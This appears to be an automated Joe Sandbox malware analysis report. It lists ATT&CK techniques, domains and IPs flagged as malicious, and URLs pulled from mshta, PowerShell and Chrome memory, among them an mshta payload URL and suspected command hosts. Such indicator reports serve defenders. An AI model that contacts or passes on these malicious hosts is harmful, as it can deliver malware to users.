Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	111 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 Network Service Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Create Account	1 Extra Window Memory Injection	3 Obfuscated Files or Information	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	3 Software Packing	Security Account Manager	23 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	1 Scheduled Task/Job	1 DLL Side-Loading	NTDS	121 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	11 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	IP	Active	Malicious	Reputation
pawpaws.readit-carfanatics.com	172.67.201.143	true	true	unknown
crayonutteh.click	104.21.44.253	true	true	unknown
www.google.com	142.250.64.164	true	false	high
klippetamea8.shop	172.67.184.254	true	false	unknown
pawpaws1.readit-carfanatics.com	172.67.201.143	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://pawpaws1.readit-carfanatics.com/madonna.vstx	true	unknown
grannyejh.lat	true	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_	chrome.exe, 00000008.00000002.7122590013.0000584C0049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131014631.0000584C01230000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062319899.0000584C00AB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132920169.0000584C014C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	false	high
https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE	chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://blog.google/products/chrome/google-chrome-safe-browsing-real-time/	chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://shop.advanceautoparts.com/web/OrderItemDisplay	chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://dns-tunnel-check.googlezip.net/connect	chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000008.00000003.7068331446.0000584C01654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068086564.0000584C01628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069944692.0000584C0051C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068750030.0000584C01680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068559297.0000584C00550000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.zappos.com/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://streams.videolan.org/upload/	powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.guitarcenter.com/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://setup.office.com	chrome.exe, 00000008.00000003.7091039489.0000584C018B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128228349.0000584C00E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129789176.0000584C010D8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.altardstate.com/cart/	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.adorama.com/als.mvc/cartview	chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://in.appcenter.ms./logs?api-version=1.0.0	powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.bestbuy.com/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/14436606/23354	powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp	false	high
https://www.williams-sonoma.com/shoppingcart/	chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pawpaws.readit-carfanatics.com/madonna.mp4:C	mshta.exe, 00000002.00000003.6205326146.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191125172.0000000000581000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.0000000000582000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://crbug.com/593024	chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000008.00000003.7068331446.0000584C01654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068086564.0000584C01628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069944692.0000584C0051C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068750030.0000584C01680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068559297.0000584C00550000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview	chrome.exe, 00000008.00000003.7101247013.0000584C01B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7101165151.0000584C01B20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7101326492.0000584C01B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7101410184.0000584C01B2C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/search?q=autoit	chrome.exe, 00000008.00000002.7128228349.0000584C00E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130312596.0000584C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120148508.0000584C00004000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062605755.0000584C0044C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ae.com/us/en/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.llbean.com/webapp/wcs/stores/servlet/LLBShoppingCartDisplay	chrome.exe, 00000008.00000003.7069414637.0000584C005A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122917388.0000584C005A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7071854524.0000584C0059C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7072029396.0000584C005A0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com/	powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7126617364.0000584C00BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127237249.0000584C00C9C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.gamestop.com/cart/	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pawpaws.readit-carfanatics.com/madonna.mp4tLMEMh	mshta.exe, 00000002.00000002.6210192215.0000000000618000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6192860046.0000000000613000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6194895355.0000000000616000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.boostmobile.com/cart.html	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://packetstormsecurity.com/	chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132920169.0000584C014C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.samsclub.com/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://consent.trustarc.com/get?name=crossdomain.html&domain=oracle.com	chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp	false	high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7126617364.0000584C00BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127237249.0000584C00C9C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.overstock.com/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.bloomingdales.com/my-bag	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://winsparkle.org/)	powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://gemini.google.com/app?q=	chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7125554487.0000584C009E4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://secure.newegg.com/shop/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://secure.eicar.org/eicar.com.txt	chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132920169.0000584C014C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128366984.0000584C00E80000.00000004.00000800.00020000.00000000.sdmp	false	high
https://crayonutteh.click/	powershell.exe, 00000007.00000002.7359473533.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7364185501.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://gemini.google.com/app?q=searchTerms	chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp	false	high
https://setup.office.com/EnterPin?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8	chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129789176.0000584C010D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128431737.0000584C00E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130000450.0000584C0110C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.autoitscript.com/site/autoit/downloads/09P4	chrome.exe, 00000008.00000002.7121965738.0000584C0036D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.jcrew.com/checkout/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pawpaws.readit-carfanatics.com/madonna.mp4ers	mshta.exe, 00000002.00000002.6210713799.0000000002D80000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://uk.search.yahoo.com/search	chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp	false	high
https://setup.office.com/signin-oidc	chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exe	chrome.exe, 00000008.00000002.7133806940.0000584C01730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.officedepot.com/cart/shoppingCart.do	chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://googleads.g.doubleclick.net/	chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.weightwatchers.com/us/shop/checkout/cart	chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/42266842	chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://lens.google.com/gen204	chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pawpaws.readit-carfanatics.com/madonna.mp4xxL	mshta.exe, 00000002.00000002.6209706200.0000000000558000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com:443	chrome.exe, 00000008.00000002.7123415790.0000584C00720000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/search?q=at	chrome.exe, 00000008.00000002.7123415790.0000584C00720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7123753704.0000584C00794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130626113.0000584C011C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120148508.0000584C00004000.00000004.00000800.00020000.00000000.sdmp	false	high
https://googleads.g.doubleclick.net/pagead/html/r20210916/r20110914/zrt_lookup.html?fsb=1#RS-0-&adk=	chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/42263580	chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://apis.google.com	chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122341169.0000584C00462000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/drive/installwebapp?usp=chrome_defaultt	chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000008.00000003.7068331446.0000584C01654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068086564.0000584C01628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069944692.0000584C0051C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068750030.0000584C01680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7068559297.0000584C00550000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.talbots.com/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	false	high
https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-2584082051607049&output=html&h=280&slot	chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/NetSparkleUpdater/NetSparkle.git	powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	false	high
https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292	chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128228349.0000584C00E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.bhphotovideo.com/find/cart.jsp	chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe	chrome.exe, 00000008.00000002.7132854449.0000584C014AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7134527597.0000584C01848000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.vitalsource.com/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/292285899	chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063139267.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://pawpaws.readit-carfanatics.com/madonna.mp4bxzaewu	mshta.exe, 00000002.00000003.6198115173.0000000006494000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6198350519.0000000006496000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6198314907.0000000006495000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.carid.com/cart.php	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.pokemoncenter.com/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lens.google.com/v3/upload	chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.comAccess-Control-Allow-Credentials:	chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122341169.0000584C00462000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://stackoverflow.com/q/2152978/23354	powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp	false	high
https://anglebug.com/42265720	chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeP	chrome.exe, 00000008.00000002.7121965738.0000584C0036D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/42264571	chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://lens.google.com/upload	chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.homedepot.com/mycart/home	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/?usp=installed_webapp	chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131582888.0000584C01300000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132074434.0000584C013A4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://beastacademy.com/checkout/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	powershell.exe, 00000007.00000002.7371627480.0000000007C95000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://googleads.g.doubleclick.net/pagead/drt/s?v=r20120211	chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pawpaws.readit-carfanatics.com/madonna.mp4https://pawpaws.readit-carfanatics.com/madonna.mp4	mshta.exe, 00000002.00000003.6198314907.0000000006495000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6200890662.0000000006485000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.belk.com/shopping-bag/	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.neimanmarcus.com/checkout/cart.jsp	chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/:	chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://mail.google.com/mail/	chrome.exe, 00000008.00000002.7121748450.0000584C00310000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132074434.0000584C013A4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imazing.com/about?utm_medium=app	powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	false	high
https://myaccount.google.com/shielded-email2B	chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.autoitscript.com/	chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063139267.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://myshop.amplify.com/cart	chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.brownells.com/aspx/store/cart.aspx	chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.64.164	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.44.253	crayonutteh.click	United States	13335	CLOUDFLARENETUS	true
172.67.184.254	klippetamea8.shop	United States	13335	CLOUDFLARENETUS	false
172.67.201.143	pawpaws.readit-carfanatics.com	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.11.20
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579336
